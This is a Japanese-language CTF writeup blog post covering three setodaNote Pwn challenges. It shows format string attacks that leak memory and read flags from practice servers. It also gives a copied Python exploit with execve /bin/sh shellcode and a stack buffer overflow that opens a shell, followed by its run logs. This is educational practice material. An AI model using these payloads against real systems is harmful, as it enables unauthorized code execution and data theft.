ペンギン技術 blog

CTFのWriteupなどを記載していこうと思います

setodaNoteCTF Writeup [Pwn]

Pwn

tkys_let_die

$ nc 10.1.1.10 13020で接続し、 名前を聞いてくるプログラムを突破する問題

通常の値を入れた場合

You'll need permission to pass. What's your name?
> aa
Gate is close.
Goodbay aa.

変な値を入れた場合

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x %x %x %x
Gate is %x %x .
Goodbay aaaa %x %x %x %x %x %x %x %x %x .

→Gateのステータスがおかしいので、効いている気がする

%xを短くしてみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x         
Gate is close.
Goodbay aaaa %x %x %x %x %x %x %x.

だめそう

これなら?

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x %x
Gate is %x.
Goodbay aaaa %x %x %x %x %x %x %x %x.

ちょうどよさそう

1を指定してみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x 1 
Gate is 1.
Goodbay aaaa %x %x %x %x %x %x %x 1.

ダメもとでopenを指定してみる

You'll need permission to pass. What's your name?
> aaaa %x %x %x %x %x %x %x open

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{xxxxx} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

1989

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56578060] >> flag is here << 
        | 

Ready > 1
Your Inpur : 1

いつもの

Ready > aaaa %x %x %x %x %x %x %x %x %x %x
Your Inpur : aaaa ff9f1c30 ff9f2038 5655b306 61616161 20782520 25207825 78252078 20782520 25207825 78252078

入力した「aaaa」が
4番目にメモリ上の値(61616161)として見える
CWE-134は書式文字列攻撃

はまりポイント
・フラグのアドレスは固定だと思って2回目以降をよく見ていなかったが、
 変わっていた
・\x**表記ではうまくいかなかった
(アドレスがASCIIコードの範囲内の場合、できた)
・バックスラッシュと円記号の違い
 手元では同じに見えた→\x(バックスラッシュ) ¥x(円記号)

        | 
flag    | [0x565de060] >> flag is here << 
        | 

Ready > \x60\xe0\x5d\x56 %4$s
→何も出ない(Segmentation Faultで終了?)

アドレスがASCIIコードの範囲内の場合
アドレス並び替えASCIIコード

0x565c6060→60605c56→``\V
        | 
flag    | [0x565c6060] >> flag is here << 
        | 

Ready > ``\V %4$s
Your Inpur : ``\V flag{xxxxx}

アドレスがASCIIコードの範囲外(\x80を含むアドレス)の場合もあり、もっとやり方はないのか?
Pythonでプログラム書いて接続すれば行けそうな気がする

参考
書式指定文字列攻撃
https://kusano-k.hatenadiary.com/entry/20140302/1393781714
バイナリが手元にある場合はpythonを使い、以下のようにできるらしい
$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug

Format String Exploitを試してみる
https://ptr-yudai.hatenablog.com/entry/2018/10/06/234120

"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます.
そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することで
データを読み出すことができます.
もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します.
printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので,
"\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です

Shellcode

300

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13050

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

入力してみる

$ nc 10.1.1.10 13050
       |
target | [0x7ffe157fbc70]
       |
Well. Ready for the shellcode?
> 1

いつもの

Well. Ready for the shellcode?
> aaaa %x %x %x %x %x %x %x %x %x %x
aaaa %x %x %x %x %x %x %x %x %x %x

さすがに効かない

(解けていない)

(追記)
Writeup
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/Shellcode
まだ読めていませんがリンクだけ

理解はまだですが、上記そのまま試したログです

user@c361011ad604:~$ vi a.py

import re
import sys
import socket

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect(("10.1.1.10", 13050))
c.settimeout(1)

leak = b"[0x000000000000] ;("
try:
    leak = c.recv(256) + c.recv(256) + c.recv(256)
except:
    pass
leak = "0000" + re.search("\[0x(.*)\]", leak.decode()).group(1)
print(leak)

payload = b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
payload += b"A"*(88-len(payload)) + bytes.fromhex(leak)[::-1] + b"\n"
c.send(payload)
print(payload)

_ = c.recv(256)

c.send(f"{sys.argv[1]};ls\n".encode())
print(c.recv(512).decode())


user@c361011ad604:~$ python3 a.py "ls /"
00007fff1c9755d0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0U\x97\x1c\xff\x7f\x00\x00\n'
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

user@c361011ad604:~$ python3 a.py "ls /home/user/"
00007ffe5a686850
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPhhZ\xfe\x7f\x00\x00\n'
flag
shellcode

user@c361011ad604:~$ python3 a.py "cat /home/user/flag"
00007ffc4313a5a0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa5\x13C\xfc\x7f\x00\x00\n'
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

user@c361011ad604:~$ python3 a.py "cat /home/user/shellcode"
00007ffdeb742f70
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp/t\xeb\xfd\x7f\x00\x00\n'
Traceback (most recent call last):
  File "a.py", line 25, in <module>
    print(c.recv(512).decode())
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 24: invalid start byte
user@c361011ad604:~$